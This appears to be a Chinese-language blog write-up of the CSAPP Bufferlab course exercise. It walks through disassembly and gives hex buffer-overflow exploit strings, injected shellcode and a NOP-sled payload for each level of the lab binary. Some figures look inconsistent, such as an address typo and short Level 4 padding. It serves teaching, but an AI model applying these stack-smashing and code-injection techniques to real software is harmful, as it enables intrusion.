CSAPP Bufferlab

1 前言

Bufferlab 是 CSAPP 的著名实验之一,实验包和实验文档可以从 CSAPP 官网 下载,本人的结题过程可以从 GitHub 查看,讲解视频可以到 查看

注意: 这个实验运行时要有一个 cookie, 可以从 ./makecookie 中生成,我使用的是 cowlog,不同的 cookie 会有不同的结果。

2 准备

首先看看 level0-3 所用的 getbuf 函数,程序都是利用这部分函数获取输入信息,建立 buffer

080491f4 <getbuf>:
 80491f4:       55                      push   %ebp
 80491f5:       89 e5                   mov    %esp,%ebp
 80491f7:       83 ec 38                sub    $0x38,%esp
 80491fa:       8d 45 d8                lea    -0x28(%ebp),%eax
 80491fd:       89 04 24                mov    %eax,(%esp)
 8049200:       e8 f5 fa ff ff          call   8048cfa <Gets>
 8049205:       b8 01 00 00 00          mov    $0x1,%eax
 804920a:       c9                      leave  
 804920b:       c3                      ret

从中可以求出 buffer 的结构:

0x28+0x4(<main>retaddr)+0x4(saved %esp)

具体结构图如下:

Stack Frame for main
Return Address
Saved %ebp
 
Stack Frame for echo

整个 buffer 共有 48 bytes。

3 解题过程

3.1 Level 0:Candle

目标:从 buffer 中直接跳转到 smoke()中

查看 smoke() 函数的代码:

08048c18 <smoke>:
 8048c18:       55                      push   %ebp
 8048c19:       89 e5                   mov    %esp,%ebp

把 retaddr 替换为 smoke() 的入口

注意: 小端机

所以答案如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 18 8c 04 08 /* smoke() 的入口地址 */

3.2 Level 1:Sparkler

目标:从 buffer 中直接跳转到 fizz(),并把 cookie 当做参数传入至 fizz()中

08048c42 <fizz>:
 8048c42:       55                      push   %ebp
 8048c43:       89 e5                   mov    %esp,%ebp
 8048c45:       83 ec 18                sub    $0x18,%esp
 8048c48:       8b 45 08                mov    0x8(%ebp),%eax
 8048c4b:       3b 05 08 d1 04 08       cmp    0x804d108,%eax
 8048c51:       75 26                   jne    8048c79 <fizz+0x37>
 8048c53:       89 44 24 08             mov    %eax,0x8(%esp)
 8048c57:       c7 44 24 04 ee a4 04    movl   $0x804a4ee,0x4(%esp)

和 Level 0 差不多,都是通过 retaddr 跳转到 fizz(),从以下代码得知 cookie 和 val 的存储位置

8048c48:       8b 45 08                mov    0x8(%ebp),%eax /* 0x8(%ebp) -> cookie */
8048c4b:       3b 05 08 d1 04 08       cmp    0x804d108,%eax /* 0x804d108 -> val */

所以我们可以直接在(%ebp)+0x8 后加入自己的 cookie 值,即答案如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 42 8c 04 08 /* fizz() 的入口地址 */
00 00 00 00 55 fb cf 17 /* 把 cookie 传入到 val 中 */

3.3 Level 2:Firecracker

目标:跳转到 bang(),并改写全局变量 globalvalue 的值。

08048c9d <bang>:
 8048c9d:       55                      push   %ebp
 8048c9e:       89 e5                   mov    %esp,%ebp
 8048ca0:       83 ec 18                sub    $0x18,%esp
 8048ca3:       a1 00 d1 04 08          mov    0x804d100,%eax
 8048ca8:       3b 05 08 d1 04 08       cmp    0x804d108,%eax
 8048cae:       75 26                   jne    8048cd6 <bang+0x39>

首先,先获取 bang()的入口地址(0x8048c9d)

并从代码可得知 globalvalue 和 bang() 的局部变量 val 的存储位置

8048ca3:       a1 00 d1 04 08          mov    0x804d100,%eax /* global_value -> 0x804d100 */
8048ca8:       3b 05 08 d1 04 08       cmp    0x804d108,%eax /* val -> 0x804d108 */

因为首要目的是要把 cookie 写入 globalvalue 中,所以利用以下代码

mov $0x17cffb55, %eax /* 把 cookie 写入 %eax 寄存器中 */
mov %eax, 0x804d100   /* 把寄存器 %eax 的内容(即 cookie)写入内存 0x804d100 中 */
push $0x8048c9d       /* 把 bang() 的地址放入 stack 中 */
ret

通过使用命令

gcc -m32 -c lv2s.s
objdump -d lv2s.o > lv2s.d

得到二进制代码

b8 55 fb cf 17 a3 00 d1
04 08 68 9d 8c 04 08 c3

同时,我们还要查找 the start of input string 来作为第一次 retaddr,那么程序就从第一次 retaddr 到我们输入的字符串,然后执行我们的攻击代码,再进入 bang()。

利用 getbuf() 中的

80491fa:       8d 45 d8                lea    -0x28(%ebp),%eax

使用命令

print $ebp-0x28

找到 the start of input string (0x5568b58)

所以最终答案是:

b8 55 fb cf 17 a3 00 d1 
04 08 68 9d 8c 04 08 c3 /* 把 cookie 写入局部变量 val 中 */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 9d 8c 04 08 /* 调用 bang() */
00 00 00 00 58 3b 68 55 /* the start of input string */

3.4 Level 3:Dynamite

目标:通过 getbuf() 让 test() 得到 cookie, 而不是 0x1, 同时不影响程序的正常运行

08048daa <test>:
 8048daa:       55                      push   %ebp
 8048dab:       89 e5                   mov    %esp,%ebp
 8048dad:       53                      push   %ebx
 8048dae:       83 ec 24                sub    $0x24,%esp
 8048db1:       e8 da ff ff ff          call   8048d90 <uniqueval>
 8048db6:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048db9:       e8 36 04 00 00          call   80491f4 <getbuf>
 8048dbe:       89 c3                   mov    %eax,%ebx

已知 %eax 是作为函数返回值的寄存器,因此我们可以直接把 cookie 写入 %eax 中

同时,为了保证能正常返回至 test() 中,我们可以直接跳转到 test() 调用 getbuf() 的下一句

mov $0x17cffb55, %eax /* 把 cookie 写入 %eax 寄存器中,作为返回值返回至 test() */
push $0x08048dbe      /* 把 test() 调用 getbuf() 的下一个语句的地址放到 stack 中,让它进行跳转 */
ret

使用命令

gcc -m32 -c lv3s.s
objdump -d lv3s.o > lv3s.d

得到二进制代码

因为本题要求以正常方式返回原函数,所以我们需要保证 saved %ebp 的值是正确的。saved %ebp 可以通过 getbuf() 查看。

用 GDB 设置断点,使用命令查看 %ebp 的值

x/wx $ebp

从中得到 %ebp 的值(0x55683bb0)

以此答案如下:

68 be 8d 04 08          /* 把 test() 调用 getbuf() 的下一个语句的地址放到 stack 中,让它进行跳转 */
b8 55 fb cf 17          /* 把 cookie 写入 %eax 寄存器中,作为返回值返回至 test() */
c3                      /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00
b0 3b 68 55             /* %ebp 的值 */
58 3b 68 55             /* the start of input string */

3.5 Level 4:Nitroglycerin

目标: 和 Level 3 相似,只是使用 getbufn() 返回。

0804920c <getbufn>:
 804920c:       55                      push   %ebp
 804920d:       89 e5                   mov    %esp,%ebp
 804920f:       81 ec 18 02 00 00       sub    $0x218,%esp
 8049215:       8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax
 804921b:       89 04 24                mov    %eax,(%esp)
 804921e:       e8 d7 fa ff ff          call   8048cfa <Gets>
 8049223:       b8 01 00 00 00          mov    $0x1,%eax
 8049228:       c9                      leave  
 8049229:       c3                      ret    
 804922a:       90                      nop
 804922b:       90                      nop

可以得知 buffer 的空间大小为:0x208+0x4(retaddr)+0x4(saved %ebp)

08048e26 <testn>:
 8048e26:       55                      push   %ebp
 8048e27:       89 e5                   mov    %esp,%ebp
 8048e29:       53                      push   %ebx
 8048e2a:       83 ec 24                sub    $0x24,%esp
 8048e2d:       e8 5e ff ff ff          call   8048d90 <uniqueval>
 8048e32:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048e35:       e8 d2 03 00 00          call   804920c <getbufn>
 8048e3a:       89 c3                   mov    %eax,%ebx

可以得知 %ebp 应该是 esp+0x24+0x4(push %ebx)=%esp+0x28

所以攻击代码如下:

lea 0x28(%esp), %ebp    /* 调整 %ebp,使程序正常运行 */
push $0x8048e3a         /* 把 testn() 调用 getbufn() 的下一个语句的地址放到 stack 中,让它进行跳转 */
mov $0x17cffb55, %eax   /* 把 cookie 写入 %eax 寄存器中,作为返回值返回至 testn() */
ret

从而生成二进制代码

因为栈的不确定性,还要找到 the start of input string, 通过在 GDB 的断点查看,找到以下值

0x55683978
0x55683978
0x55683958
0x556839e8
0x55683948

用于栈上的机器码是按地址由低向高顺序执行,要保证 5 次运行都能顺利执行有效代码,需要满足:跳转地址位于有效机器码入口地址之前的 nop 机器指令填充区。

从而要求尽可能增大 nop 填充区,尽可能使有效及其代码段往后挪。

从而返回地址选用最高的地址:

因此答案如下:

90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 
8d 6c 24 28       /* 调整 %ebp,使程序正常运行 */
68 3a 8e 04 08    /* 把 testn() 调用 getbufn() 的下一个语句的地址放到 stack 中,让它进行跳转 */
b8 55 fb cf 17    /* 把 cookie 写入 %eax 寄存器中,作为返回值返回至 testn() */
c3                /* ret */ 
e8 39 68 55       /* the start of input string */

4 最后

相对而言比 Bomb Lab 简单,但还是花费了比较长的时间。

根据 CSAPP 官网的介绍,Buffer Lab 将会被 Attack Lab 取代,新的 Lab 会在 12 月 30 日 发布。到时再做。

Date: 2015-12-10 21:37:45

Author: cowlog

Created: 2016-03-23 Wed 21:30

Emacs 24.5.1 (Org mode 8.2.10)

Validate